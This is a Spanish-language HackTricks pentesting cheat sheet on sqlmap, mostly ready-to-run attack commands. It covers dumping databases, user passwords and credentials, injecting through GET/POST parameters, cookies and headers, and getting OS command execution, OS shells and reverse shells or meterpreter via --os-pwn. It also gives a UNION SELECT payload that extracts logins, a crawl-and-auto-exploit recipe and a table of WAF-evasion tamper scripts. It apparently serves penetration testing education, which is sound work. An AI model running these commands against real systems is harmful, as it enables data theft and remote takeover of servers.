hacktricks/pentesting-web/sql-injection/sqlmap.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

264 lines
14 KiB
Markdown

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Mira los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
# Argumentos básicos para SQLmap
## Genéricos
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY
```
## Obtener Información
### Interna
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
```
### Datos de la base de datos
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
# Lugar de inyección
## Desde la captura de Burp/ZAP
Captura la petición y crea un archivo req.txt
```bash
sqlmap -r req.txt --current-user
```
## Inyección en peticiones GET
### Descripción
La inyección en peticiones GET es una técnica de ataque que aprovecha vulnerabilidades en las aplicaciones web que utilizan parámetros en la URL para realizar consultas a la base de datos. Esta técnica consiste en modificar los valores de los parámetros de la URL para ejecutar comandos maliciosos en la base de datos.
### Ejemplo
Supongamos que tenemos una aplicación web que utiliza una petición GET para buscar productos en una base de datos. La URL de la petición es la siguiente:
```
http://example.com/search.php?product=shoes
```
El parámetro `product` se utiliza para buscar productos en la base de datos. Si un atacante modifica el valor del parámetro `product` y lo convierte en una consulta SQL maliciosa, podría obtener información confidencial de la base de datos o incluso modificarla.
Por ejemplo, si el atacante modifica la URL de la siguiente manera:
```
http://example.com/search.php?product=' UNION SELECT username, password FROM users--
```
La consulta SQL resultante sería la siguiente:
```
SELECT * FROM products WHERE product_name='' UNION SELECT username, password FROM users--'
```
Esta consulta SQL devuelve los nombres de los productos y las credenciales de los usuarios almacenados en la base de datos.
### Prevención
Para prevenir la inyección en peticiones GET, es importante validar y sanitizar los parámetros de la URL antes de utilizarlos en consultas a la base de datos. También se recomienda utilizar consultas preparadas y evitar la concatenación de cadenas en las consultas SQL.
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
## Inyección en solicitudes POST
---
### Descripción
La inyección en solicitudes POST es similar a la inyección en solicitudes GET, pero en lugar de enviar los parámetros en la URL, se envían en el cuerpo de la solicitud HTTP.
### Ejemplo
Supongamos que tenemos una solicitud POST que envía un formulario de inicio de sesión con los siguientes parámetros:
```
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=1234
```
Podemos usar SQLMap para inyectar código SQL en la solicitud POST de la siguiente manera:
```
sqlmap -u "http://example.com/login" --data "username=admin&password=1234" --method POST
```
### Protección
Para protegerse contra la inyección en solicitudes POST, se deben seguir las mismas prácticas recomendadas que para la inyección en solicitudes GET. Además, se debe validar y escapar correctamente cualquier entrada de usuario antes de enviarla en una solicitud POST.
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
## Inyecciones en Cabeceras y otros Métodos HTTP
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"
#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
## Inyección de segundo orden
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
## Shell
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
## Rastrear un sitio web con SQLmap y auto-explotar
SQLmap es una herramienta muy poderosa para la explotación de vulnerabilidades de inyección SQL en aplicaciones web. Una de las características más útiles de SQLmap es su capacidad para rastrear automáticamente un sitio web en busca de vulnerabilidades de inyección SQL y luego explotarlas automáticamente.
Para rastrear un sitio web con SQLmap, simplemente ejecute el siguiente comando:
```
sqlmap -u <URL> --crawl=1
```
Donde `<URL>` es la URL del sitio web que desea rastrear. El parámetro `--crawl=1` indica que SQLmap debe rastrear automáticamente el sitio web en busca de enlaces y formularios para probar.
Una vez que SQLmap ha terminado de rastrear el sitio web, puede usar el siguiente comando para explotar automáticamente cualquier vulnerabilidad de inyección SQL que haya encontrado:
```
sqlmap -u <URL> --batch --smart --level=5 --risk=3
```
Este comando utiliza los siguientes parámetros:
- `-u <URL>`: la URL del sitio web que desea explotar.
- `--batch`: indica que SQLmap debe ejecutarse en modo batch, lo que significa que no se le pedirá al usuario que confirme cada acción.
- `--smart`: indica que SQLmap debe utilizar técnicas de detección de vulnerabilidades más avanzadas.
- `--level=5`: indica que SQLmap debe utilizar el nivel de prueba más alto para encontrar vulnerabilidades.
- `--risk=3`: indica que SQLmap debe utilizar el nivel de riesgo más alto para encontrar vulnerabilidades.
Con estos comandos, SQLmap puede rastrear y explotar automáticamente vulnerabilidades de inyección SQL en un sitio web, lo que puede ahorrar mucho tiempo y esfuerzo en pruebas de penetración.
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
# Personalización de la Inyección
## Establecer un sufijo
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
## Prefijo
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
## Ayuda para encontrar inyección booleana
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
## Manipulación
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Descripción |
| :--- | :--- |
| apostrophemask.py | Reemplaza el carácter de apóstrofe con su contraparte de ancho completo UTF-8 |
| apostrophenullencode.py | Reemplaza el carácter de apóstrofe con su contraparte de doble unicode ilegal |
| appendnullbyte.py | Agrega un carácter de byte NULL codificado al final de la carga útil |
| base64encode.py | Codifica en Base64 todos los caracteres en una carga útil dada |
| between.py | Reemplaza el operador mayor que \('&gt;'\) con 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Reemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter '=' con el operador LIKE |
| chardoubleencode.py | Codifica dos veces en URL todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
| commalesslimit.py | Reemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M' |
| commalessmid.py | Reemplaza instancias como 'MID\(A, B, C\)' con 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Reemplaza instancias como 'CONCAT\(A, B\)' con 'CONCAT\_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Codifica en URL todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
| charunicodeencode.py | Codifica en URL Unicode los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "%u0022" |
| charunicodeescape.py | Codifica en URL Unicode los caracteres no codificados en una carga útil dada \(sin procesar los ya codificados\). "\u0022" |
| equaltolike.py | Reemplaza todas las ocurrencias del operador igual \('='\) con el operador 'LIKE' |
| escapequotes.py | Escapa las comillas \(' y "\) con una barra diagonal |
| greatest.py | Reemplaza el operador mayor que \('&gt;'\) con su contraparte GREATEST |
| halfversionedmorekeywords.py | Agrega un comentario versionado de MySQL antes de cada palabra clave |
| ifnull2ifisnull.py | Reemplaza instancias como 'IFNULL\(A, B\)' con 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Abraza la consulta completa con un comentario versionado |
| modsecurityzeroversioned.py | Abraza la consulta completa con un comentario de versión cero |
| multiplespaces.py | Agrega varios espacios alrededor de las palabras clave SQL |
| nonrecursivereplacement.py | Reemplaza las palabras clave SQL predefinidas con representaciones adecuadas para su reemplazo \(por ejemplo, .replace\("SELECT", ""\)\) filtros |
| percentage.py | Agrega un signo de porcentaje \('%'\) delante de cada carácter |
| overlongutf8.py | Convierte todos los caracteres en una carga útil dada \(sin procesar los ya codificados\) |
| randomcase.py | Reemplaza cada carácter de palabra clave con un valor de caso aleatorio |
| randomcomments.py | Agrega comentarios aleatorios a las palabras clave SQL |
| securesphere.py | Agrega una cadena especial elaborada |
| sp\_password.py | Agrega 'sp\_password' al final de la carga útil para la obfuscación automática de los registros de DBMS |
| space2comment.py | Reemplaza el carácter de espacio \(' '\) con comentarios |
| space2dash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guión \('--'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
| space2hash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de almohadilla \('\#'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
| space2morehash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de almohadilla \('\#'\) seguido de una cadena aleatoria y una nueva línea \('\n'\) |
| space2mssqlblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| space2mssqlhash.py | Reemplaza el carácter de espacio \(' '\) con un carácter de almohadilla \('\#'\) seguido de una nueva línea \('\n'\) |
| space2mysqlblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| space2mysqldash.py | Reemplaza el carácter de espacio \(' '\) con un comentario de guión \('--'\) seguido de una nueva línea \('\n'\) |
| space2plus.py | Reemplaza el carácter de espacio \(' '\) con un signo más \('+'\)|
| space2randomblank.py | Reemplaza el carácter de espacio \(' '\) con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos |
| symboliclogical.py | Reemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas \(&& y &#124;\|) |
| unionalltounion.py | Reemplaza UNION ALL SELECT con UNION SELECT |
| unmagicquotes.py | Reemplaza el carácter de comilla \('\) con una combinación multibyte %bf%27 junto con un comentario genérico al final \(para que funcione\) |
| uppercase.py | Reemplaza cada carácter de palabra clave con un valor en mayúscula 'INSERT' |
| varnish.py | Agrega un encabezado HTTP 'X-originating-IP' |
| versionedkeywords.py | Encierra cada palabra clave no funcional con un comentario versionado de MySQL |
| versionedmorekeywords.py | Encierra cada palabra clave con un comentario versionado de MySQL |
| xforwardedfor.py | Agrega un encabezado HTTP falso 'X-Forwarded-For' |